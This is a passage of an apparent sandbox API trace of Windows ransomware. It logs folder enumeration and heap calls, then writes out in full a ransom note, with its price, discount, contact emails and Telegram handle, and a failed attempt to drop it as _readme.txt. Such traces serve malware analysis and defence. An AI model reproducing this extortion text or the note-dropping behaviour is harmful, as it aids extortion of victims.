ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0124.436] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0124.436] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.436] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.436] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x214) returned 0x30557d8 [0124.436] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3074fb8 [0124.436] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3074f90 [0124.436] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3074f68 [0124.436] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3074f40 [0124.436] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3075120 [0124.436] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3075148 [0124.436] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3075170 [0124.436] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3075198 [0124.436] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x30751c0 [0124.436] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x30751e8 [0124.436] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3075210 [0124.436] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3075238 [0124.436] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3075260 [0124.436] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0124.436] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.436] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.436] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076df0 [0124.436] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0124.436] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.436] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.436] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e18 [0124.436] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0124.436] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.436] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.436] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076ee0 [0124.436] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0124.437] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.437] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.437] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e90 [0124.437] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0124.437] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.437] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.437] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x30750f8 [0124.437] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0124.437] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.437] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.437] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x310) returned 0x30559f8 [0124.437] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x30750d0 [0124.437] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x30750a8 [0124.437] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3075080 [0124.437] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3075058 [0124.437] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3075030 [0124.437] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3075008 [0124.437] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3074fe0 [0124.437] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3075288 [0124.437] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x30752b0 [0124.437] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x30752d8 [0124.437] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3075300 [0124.437] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3075328 [0124.437] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3075350 [0124.437] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3075378 [0124.437] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x30753a0 [0124.437] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x30753c8 [0124.437] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x30753f0 [0124.437] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3075418 [0124.437] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3075440 [0124.437] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0124.438] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.438] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.438] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e90 [0124.438] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0124.438] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.438] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.438] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076ee0 [0124.438] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0124.438] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.438] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.438] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e18 [0124.438] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0124.438] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.438] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.438] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076df0 [0124.438] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0124.438] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.438] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.438] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.438] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.438] PathFindFileNameW (pszPath="C:\\Config.Msi\\") returned="Config.Msi\\" [0124.438] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.438] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.438] PathFindFileNameW (pszPath="") returned="" [0124.438] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.439] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x768b0000 [0124.439] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetFolderPathW") returned 0x76935708 [0124.439] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x800) returned 0x30f90a8 [0124.439] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x30f90a8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.439] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x810) returned 0x30e9368 [0124.439] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.439] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.439] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3075260 [0124.439] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.439] FreeLibrary (hLibModule=0x768b0000) returned 1 [0124.439] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.439] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.439] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075260 | out: hHeap=0x5c0000) returned 1 [0124.439] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3075260 [0124.439] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x81c) returned 0x30e9368 [0124.439] PathAppendW (in: pszPath="C:\\Config.Msi\\", pMore="_readme.txt" | out: pszPath="C:\\Config.Msi\\_readme.txt") returned 1 [0124.439] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.439] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075260 | out: hHeap=0x5c0000) returned 1 [0124.440] PathFileExistsW (pszPath="C:\\Config.Msi\\_readme.txt") returned 0 [0124.440] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x7d00) returned 0x30f90a8 [0124.440] lstrcpyW (in: lpString1=0x30f90a8, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" [0124.440] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg", lpString2="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" [0124.440] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9bf0 [0124.440] CreateFileW (lpFileName="C:\\Config.Msi\\_readme.txt" (normalized: "c:\\config.msi\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.440] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9bf0 | out: hHeap=0x5c0000) returned 1 [0124.440] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.440] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.440] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3075260 [0124.440] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0xffffffff [0124.440] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075260 | out: hHeap=0x5c0000) returned 1 [0124.440] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.440] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.441] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.441] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042220 [0124.441] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.441] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042190 [0124.441] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.441] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.441] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042190 | out: hHeap=0x5c0000) returned 1 [0124.441] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042190 [0124.441] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.441] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.441] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042190 | out: hHeap=0x5c0000) returned 1 [0124.441] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042190 [0124.441] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.441] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.441] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042190 | out: hHeap=0x5c0000) returned 1 [0124.441] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042190 [0124.441] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.441] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.441] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042190 | out: hHeap=0x5c0000) returned 1 [0124.441] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042190 [0124.441] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.441] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.441] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042190 | out: hHeap=0x5c0000) returned 1 [0124.441] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042190 